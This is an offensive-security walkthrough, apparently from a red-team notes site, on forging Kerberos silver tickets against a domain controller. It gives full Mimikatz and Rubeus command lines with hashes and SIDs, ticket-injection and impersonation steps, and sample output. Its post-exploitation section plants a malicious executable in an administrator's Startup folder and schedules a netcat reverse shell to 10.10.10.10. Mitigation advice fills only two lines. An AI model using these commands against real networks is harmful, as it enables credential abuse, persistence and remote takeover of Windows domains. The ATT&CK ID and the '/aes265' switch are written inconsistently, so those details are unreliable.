Silver Ticket

https://attack.mitre.org/techniques/T1558/002/

ATT&CK ID: T1158.002

Permissions Required: User

Description

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.

• Silver ticket is a valid TGS where a Golden ticket is a TGT

• Encrypted and signed by the NTLM hash of the service account

• Services only allow access to the services themselves

Techniques

Scenario

• Domain Controller (DC01)

• Workstation (Workstation-01)

This scenario assumes compromise where the computer account hash for DC01$ has already been revealed through one of the many methods found in this Link.

Here we are running as the local administrator on the WS01 system. Attempting to list the directory contents of C$ on the Domain Controller shows we are unable to do so (the local administrator has no permission over the C: drive on the DC).

Mimikatz (Method-01)

From the workstation we are able to make use of Mimikatz to forge a silver ticket using the NTLM machine account for the DC.

Command Breakdown

Switch	Description
kerberos::golden	Module name
/domain:	Domain FQDN
/sid:	Domain SID
/target:	Target FQDN
/service:	SPN name of service to create TGS for
/rc4:	NTLM / RC4 hash of the service account (DC01)
/aes265:	AES265 hash if /rc4: is not going to be used
/user:	Username for which the TGT is generated (Can be fake)
/ptt	Injects ticket into current process

Input (RC4)

Invoke-Mimikatz -Command '"kerberos::golden /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /target:dc01.security.local /service:CIFS /rc4:53b82af68b0faf6587971fe807fad960 /user:Viper /ptt"'

Input (AES265)

Invoke-Mimikatz -Command '"kerberos::golden /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /target:dc01.security.local /service:CIFS /aes256:4d8daf60cf15651b283c9c180b04d4bd68a5b06592c0007697ae8de0700a21d5 /user:Viper /ptt"'

Output

User      : Viper
Domain    : security.local (SECURITY)
SID       : S-1-5-21-3601687231-1513629788-1757802677
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 53b82af68b0faf6587971fe807fad960 - rc4_hmac_nt
Service   : CIFS
Target    : dc01.security.local
Lifetime  : 09/02/2023 13:21:08 ; 06/02/2033 13:21:08 ; 06/02/2033 13:21:08
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Viper @ security.local' successfully submitted for current session

Now the ticket has been created and injected into the current process (/ptt) we can use the command below to open a new command prompt from Mimikatz whilst retaining the ticket.

Invoke-Mimikatz -Command "misc::cmd"

Next, use klist command to check if the ticket has retained in the new session

Current LogonId is 0:0x57cab

Cached Tickets: (1)

#0>     Client: Viper @ security.local
        Server: CIFS/dc01.security.local @ security.local
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
        Start Time: 2/9/2023 13:21:08 (local)
        End Time:   2/6/2033 13:21:08 (local)
        Renew Time: 2/6/2033 13:21:08 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called:

We are then able to list the C$ share of the Domain Controller.

# CMD 
dir \\DC01.Security.Local\C$

# PowerShell
ls -force \\DC01.Security.Local\C$

Output

<-- Snip -- >

 Directory of \\DC01.Security.Local\C$

22/12/2022  13:30    <DIR>          PerfLogs
22/12/2022  14:26    <DIR>          Program Files
25/01/2023  17:02    <DIR>          Program Files (x86)
26/01/2023  19:58    <DIR>          Users
03/01/2023  16:01    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  60,414,803,968 bytes free
               
<-- Snip -- >

Some examples commands which can now be performed on the domain controller

Rubeus (Method-02)

Using Rubeus we can either forge the silver ticket and load into a separate session (cleaner) or forge the ticket and inject into the current process (may cause issues).

Forge and inject directly into the current process

Rubeus.exe silver /service:cifs/dc01.security.local /aes256:f9647c8dba66c6576057167ab18d93582ea7fa1a8fd9b03b79d7d173644ff2e4 /user:Administrator /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /nowrap /ptt

Forge and inject into new process

# Forge silver ticket
Rubeus.exe silver /service:cifs/dc01.security.local /aes256:f9647c8dba66c6576057167ab18d93582ea7fa1a8fd9b03b79d7d173644ff2e4 /user:Administrator /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /nowrap

Input

# Createnetonly process, username and password can be anything
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:Security.local /username:Administrator /password:NotRealPass

Output

[*] Action: Create Process (/netonly)
[*] Using Security.local\Administrator:NotRealPass

[*] Showing process : False
[*] Username        : Administrator
[*] Domain          : Security.local
[*] Password        : NotRealPass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2080
[+] LUID            : 0x12e0ab8

Take note of the LUID value in the output above. We need to now inject the silver ticket we forged earlier into the new LUID session.

Rubeus.exe ptt /luid:0x12e0ab8 /ticket:doIFuj[...snip...]lDLklP

After the ticket has been imported into the new LUID session we then need to impersonate the process token using the ProcessID from the output above (2080).

Invoke-SharpImpersonation -Command "pid:[PID]"

As above, checking klist shows the silver ticket has retained in our new shell process. We should now be able to list the contents of the Domain Controller's C: drive.

Output

 Directory of \\DC01.Security.Local\C$

22/12/2022  13:30    <DIR>          PerfLogs
22/12/2022  14:26    <DIR>          Program Files
25/01/2023  17:02    <DIR>          Program Files (x86)
26/01/2023  19:58    <DIR>          Users
03/01/2023  16:01    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  60,414,803,968 bytes free

Empire (Method-03)

# PowerShell
powershell/credentials/mimikatz/silver_ticket

Post Exploitation Techniques

# Map drive
net use Z: \\dc01.security.local\C$

# Copy malware to Domain Administrator startup folder on DC
copy .\MaliciousFile.exe "\\dc01.security.local\c$\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# CMD 
.\PsExec.exe -accepteula \\dc01.security.local cmd

# Netcat
schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\Users\Administrator\Downloads/nc.exe 10.10.10.10 443 -e cmd.exe'

Other ticket combinations

Technique	Required Service Ticket
PSexec	CIFS
WinRm	HOST & HTTP
DCSync (DCs only)	LDAP

Mitigation

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.

If possible use group managed service accounts which have random, complex passwords (>100 characters) and are managed automatically by Active Directory [source]

References

How Attackers Use Kerberos Silver Tickets to Exploit SystemsActive Directory Security